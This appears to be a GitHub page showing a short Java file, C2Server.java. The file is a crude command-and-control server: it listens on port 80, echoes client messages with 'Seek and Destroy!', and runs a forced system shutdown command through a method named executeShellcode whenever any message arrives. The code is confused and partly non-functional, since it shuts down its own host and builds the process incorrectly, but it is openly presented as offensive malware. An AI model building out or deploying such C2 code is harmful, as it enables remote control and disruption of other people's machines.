-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathC2Server.java
More file actions
44 lines (42 loc) · 1.88 KB
/
C2Server.java
File metadata and controls
44 lines (42 loc) · 1.88 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import java.io.*;
import java.net.*;
public class C2Server {
public static void main(String[] args) {
int port = 80;
try (ServerSocket serverSocket = new ServerSocket(port)) {
System.out.println("C2 Connection is listening on port" + port);
while (true) {
Socket socket = serverSocket.accept();
System.out.println("Client connected!");
InputStream input = socket.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(input));
OutputStream output = socket.getOutputStream();
PrintWriter writer = new PrintWriter(output, true);
String message;
while (((message = reader.readLine()) != null)) {
System.out.println("Client: " + message);
writer.println("Command received: " + message + "Seek and Destroy!");
// Implement logic to launch a payload.
executeShellcode("shutdown /s /t 0");
}
socket.close();
System.out.println("Client disconnected.");
}
} catch (IOException ex) {
System.out.println("C2 Server error: " + ex.getMessage());
ex.printStackTrace();
}
}
private static void executeShellcode(String command) {
System.out.println("Launching shellcode with command: " + command);
try {
ProcessBuilder processBuilder = new ProcessBuilder(command);
processBuilder.inheritIO();
Process process = processBuilder.start();
process.waitFor();
} catch (IOException | InterruptedException e) {
System.out.println("Error executing command." + e.getMessage());
e.printStackTrace();
}
}
}